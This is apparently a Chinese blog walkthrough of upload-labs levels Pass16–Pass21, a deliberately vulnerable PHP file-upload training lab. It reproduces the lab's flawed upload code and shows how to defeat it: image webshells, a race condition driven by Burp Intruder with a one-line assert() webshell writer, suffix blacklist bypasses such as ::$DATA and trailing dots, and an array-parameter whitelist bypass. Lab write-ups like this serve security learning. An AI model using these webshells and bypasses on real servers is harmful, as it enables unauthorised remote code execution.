• upload-labs通关(Pass16-Pass21)


    Pass16(图片马)

    这关我也把Pass-14中的三种图片马都试了一下,都是可以上传成功并用蚁剑连接成功的,所以具体步骤这边就不写了,可以参照Pass-14
    upload-labs通关(Pass11-Pass15)

    代码分析
    本关用exif_imagetype()函数来检查文件是否是图片,以及具体是那种类型的图片,并据此决定文件是否可以上传,以及文件的后缀名。

    function isImage($filename){
        //需要开启php_exif模块
        $image_type = exif_imagetype($filename);
        switch ($image_type) {
            case IMAGETYPE_GIF:
                return "gif";
                break;
            case IMAGETYPE_JPEG:
                return "jpg";
                break;
            case IMAGETYPE_PNG:
                return "png";
                break;    
            default:
                return false;
                break;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    注意:
    由于本关使用了exif_imagetype()函数,所以需要开启php_exif模块,如果和我一样用的是php_study,可以在网站选项卡中点管理,选php扩展,php_exif前面如果没有勾勾说明没开启,点一下就可以开启了。
    在这里插入图片描述

    Pass17(图片马加二次渲染)

    本关尝试上一关的图片马,发现虽然都能上传成功,但是发现代码不能解析。
    只能分析代码查看原因了

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])){
        // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
        $filename = $_FILES['upload_file']['name'];
        $filetype = $_FILES['upload_file']['type'];
        $tmpname = $_FILES['upload_file']['tmp_name'];
    
        $target_path=UPLOAD_PATH.'/'.basename($filename);
    
        // 获得上传文件的扩展名
        $fileext= substr(strrchr($filename,"."),1);
    
        //判断文件后缀与类型,合法才进行上传操作
        if(($fileext == "jpg") && ($filetype=="image/jpeg")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefromjpeg($target_path);
    
                if($im == false){
                    $msg = "该文件不是jpg格式的图片!";
                    @unlink($target_path);
                }else{
                    //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".jpg";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagejpeg($im,$img_path);
                    @unlink($target_path);
                    $is_upload = true;
                }
            } else {
                $msg = "上传出错!";
            }
    
        }else if(($fileext == "png") && ($filetype=="image/png")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefrompng($target_path);
    
                if($im == false){
                    $msg = "该文件不是png格式的图片!";
                    @unlink($target_path);
                }else{
                     //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".png";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagepng($im,$img_path);
    
                    @unlink($target_path);
                    $is_upload = true;               
                }
            } else {
                $msg = "上传出错!";
            }
    
        }else if(($fileext == "gif") && ($filetype=="image/gif")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefromgif($target_path);
                if($im == false){
                    $msg = "该文件不是gif格式的图片!";
                    @unlink($target_path);
                }else{
                    //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".gif";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagegif($im,$img_path);
    
                    @unlink($target_path);
                    $is_upload = true;
                }
            } else {
                $msg = "上传出错!";
            }
        }else{
            $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85

    本关代码挺长,主要是因为jpg,png和gif是分开处理的,每个都占了一段,其实逻辑不复杂,每种图片格式文件的处理都遵循相同的逻辑:

    首先用move_uploaded_file()函数把上传的图片以文件原本的名字保存在upload文件夹下(这就是通关的时候访问的临时文件);

    然后用图片处理函数生成新的图片,并将新的图片命名为一个随机数,保存在upload文件夹下;

    最后用unlink()函数删除临时文件。

    由此可见,在move_uploaded_file()函数保存临时文件和unlink()函数删除临时文件之间的时间,只要触发了图片中脚本的执行,就可以生成webshell。

    所以这里我们可以尝试对比上传前和上传后的文件之间的差异,如果有未修改的部分,可以试试将一句话插入这一部分;

    由于这种方法非常看运气,很可能插入php代码之后被判定为不是jpg格式了。关于这种方法,网上找到一篇
    upload-labs之pass 16详细分析
    三种图片格式如何操作都描述了,这里就不赘述了。总之遇到这种情况,上传gif是最简单的,可以人工对比。

    Pass18(白名单加条件竞争)

    上传1.php后
    在这里插入图片描述
    没有任何信息,只能继续查看代码分析了
    在这里插入图片描述
    分析代码可以得知图片上传后先保存为我们可预知的路径和文件名,然后才进行去除php代码的处理,可以试试条件竞争,不断上传图片,图片中包含写一句话木马文件的php代码,不断利用文件包含漏洞访问图片,触发写一句话木马的语句。

    操作步骤如下:
    1、先准备个1.php文件,内容是

    <?php file_put_contents('shell.php','<?php @assert($_POST[pass18]);?>'); ?>
    
    • 1

    2.上传write.php,burp抓包,send to intruder,和上一关一样,positions设置中,不要设置任何注入点,payloads设置中payload type选择null payloads,payload options中genete后面的空格中填写需要发送多少次报文,我这次设置的是10000
    在这里插入图片描述
    在这里插入图片描述
    3.快速多次访问url:

    http://www.upload:93/upload/1.php
    
    • 1

    注意这次不用文件包含漏洞,直接访问文件,生成的webshell也是在upload目录下。

    这关建议用burpsuite的intruder模块访问这个url,因为这关可操作的时间间隙太短了,好几次手工尝试都失败了。

    手工用浏览器访问一下这个url,burp抓到包之后send to intruder,同样也是positions设置中,不要设置任何注入点,payloads设置中payload type选择null payloads,payload options中genete后面的空格中填写需要发送多少次报文,我这次设置的是5000
    在这里插入图片描述
    在这里插入图片描述
    4.两个都按start attack开始发送,最后有没有写webshell成功主要看访问url的那个intruder的结果。结果按status排个序,如果有200,就说明写webshell成功了。
    在这里插入图片描述
    若stack时观察服务端文件夹,能清楚的看到文件上传后被删除的情况,如图所示。
    在这里插入图片描述

    Pass19(白名单文件夹加目录)

    这关也提示要进行代码审计,那就直接看代码吧

    //index.php
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit']))
    {
        require_once("./myupload.php");
        $imgFileName =time();
        $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
        $status_code = $u->upload(UPLOAD_PATH);
        switch ($status_code) {
            case 1:
                $is_upload = true;
                $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
                break;
            case 2:
                $msg = '文件已经被上传,但没有重命名。';
                break; 
            case -1:
                $msg = '这个文件不能上传到服务器的临时文件存储目录。';
                break; 
            case -2:
                $msg = '上传失败,上传目录不可写。';
                break; 
            case -3:
                $msg = '上传失败,无法上传该类型文件。';
                break; 
            case -4:
                $msg = '上传失败,上传的文件过大。';
                break; 
            case -5:
                $msg = '上传失败,服务器已经存在相同名称文件。';
                break; 
            case -6:
                $msg = '文件无法上传,文件不能复制到目标目录。';
                break;      
            default:
                $msg = '未知错误!';
                break;
        }
    }
    
    //myupload.php
    class MyUpload{
    ......
    ......
    ...... 
      var $cls_arr_ext_accepted = array(
          ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
          ".html", ".xml", ".tiff", ".jpeg", ".png" );
    
    ......
    ......
    ......  
      /** upload()
       **
       ** Method to upload the file.
       ** This is the only method to call outside the class.
       ** @para String name of directory we upload to
       ** @returns void
      **/
      function upload( $dir ){
        
        $ret = $this->isUploadedFile();
        
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->setDir( $dir );
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->checkExtension();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->checkSize();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );    
        }
        
        // if flag to check if the file exists is set to 1
        
        if( $this->cls_file_exists == 1 ){
          
          $ret = $this->checkFileExists();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
        }
    
        // if we are here, we are ready to move the file to destination
    
        $ret = $this->move();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );    
        }
    
        // check if we need to rename the file
    
        if( $this->cls_rename_file == 1 ){
          $ret = $this->renameFile();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
        }
        
        // if we are here, everything worked as planned :)
    
        return $this->resultUpload( "SUCCESS" );
      
      }
    ......
    ......
    ...... 
    };
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119

    根据网页给出的不完整代码是看不到完整的流程的,但是大概可以知道,本关调用了一个叫MyUpload的类来做文件上传操作,并根据该类的upload()函数的返回结果来决定返回网页的消息。一开始,根据MyUpload类的upload()函数中的流程和注释,我看到文件是先上传为一个临时名称,再进行改名的,以为这样就又可以用条件竞争了。后来看了完整代码,发现这关校验后缀是在保存临时文件之前,所以按照代码逻辑,后缀校验失败,临时文件根本就不会生成,也就用不了条件竞争。
    可以尝试这个博客的条件竞争,但我测试后却无法生成shell.php
    新upload-labs 1-19关过关思路
    这关后缀白名单给的后缀种类还是比较多的,可能还是得用浏览器解析漏洞,比如apache的解析漏洞(apache httpd 解析漏洞)我的phpstudy8提供的apache和nginx版本都比较高,就没法演示浏览器解析漏洞了……这关就这样吧……

    Pass20(黑名单数组接受加目录)

    这关又突然简单了……

    除了指定上传文件,还要指定保存的文件名,上传了1.php,指定保存为1.php,页面提示:禁止保存为该类型文件!
    在这里插入图片描述
    在这里插入图片描述
    查看源码发现这关很多后缀都可以上传,绕过方式包括但不限于大写绕过,末尾加空格绕过,末尾加点绕过,末尾加::$DATA等。
    本关很明显是在拿save_name参数表示的保存文件名的后缀,与文件名后缀黑名单$deny_ext对比。
    在这里插入图片描述

    成功上传到服务端
    在这里插入图片描述
    代码成功解析
    在这里插入图片描述

    Pass21(白名单之数组加点绕过)

    这关web页面和上一关差不多,都是上传一个文件并指定名称
    在这里插入图片描述
    分析代码

    $is_upload = false;
    $msg = null;
    if(!empty($_FILES['upload_file'])){
        //检查MIME
        $allow_type = array('image/jpeg','image/png','image/gif');
        if(!in_array($_FILES['upload_file']['type'],$allow_type)){
            $msg = "禁止上传该类型文件!";
        }else{
            //检查文件名
            $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
            if (!is_array($file)) {
                $file = explode('.', strtolower($file));
            }
    
            $ext = end($file);
            $allow_suffix = array('jpg','png','gif');
            if (!in_array($ext, $allow_suffix)) {
                $msg = "禁止上传该后缀文件!";
            }else{
                $file_name = reset($file) . '.' . $file[count($file) - 1];
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' .$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $msg = "文件上传成功!";
                    $is_upload = true;
                } else {
                    $msg = "文件上传失败!";
                }
            }
        }
    }else{
        $msg = "请选择要上传的文件!";
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    从//check filename往下看,是检查文件名的部分。

    首先判断save_name是否为空,如果为空,则$file等于filename的值,否则等于save_name的值;

    接着判断$file是否为数组,如果不是数组,则以点号分割为数组,且分割之前将$file转换为小写;

    然后取数组$file的最后一个元素,与后缀白名单对比,如果不在白名单中,则禁止上传,如果在白名单中,则允许上传,并且文件保存在服务器上的名称为$file[0].$file[元素个数-1]

    根据以上对代码的分析可知,要想绕过后缀白名单过滤,save_name就不能让后端代码以点分解为数组,而需要自己本身是数组,并且要使$file[元素个数-1]不是最后一个元素。

    根据本关拼接最终文件名的方法,由于服务器是windows系统,文件名最后加个点号并没有关系,系统会自动去掉,所以可以save_name[0]=sh.php,save_name[2]=png,这样 f i l e [ 2 ] = p n g ,可以绕过后缀白名单检查,而 c o u n t ( file[2]=png,可以绕过后缀白名单检查,而count( file[2]=png,可以绕过后缀白名单检查,而count(file)为2,count( f i l e ) − 1 为 1 ,而 file)-1为1,而 file)11,而file[1]根本不存在,因此组合成的最终的文件名是sh.php.,而windows系统会将其保存为sh.php。

    那现在只剩一个问题了,怎么发送save_name[0]=sh.php,save_name[2]=png?

    把save_name整块复制一份,一份name=“save_name[0]”,值为sh.php,另一份name=“save_name[2]”,值为png就行。

    所以具体请求报文构造如下,这会儿filename是啥已经不重要了,主要是Content-Type: image/png(或者其他两种图片格式),以及save_name[0]和save_name[2]
    在这里插入图片描述

  • 相关阅读:
    【React学习】—React简介(一)
    基于SSM框架实现的房屋租赁管理系统
    Leetcode刷题详解——寻找峰值
    Windows系统--AD域控--DHCP服务器
    简单工厂和工厂方法模式
    【postgresql 基础入门】表的操作,表结构查看、修改字段类型、增加删除字段、重命名表,对表的操作总是比别人棋高一着
    fastAdmin表格列表的功能
    Vue中的Ajax②(slot插槽)
    SpringBoot接口 - 如何优雅的写Controller并统一异常处理?
    web手势库Alloyfinger
  • 原文地址:https://blog.csdn.net/m0_46467017/article/details/126352479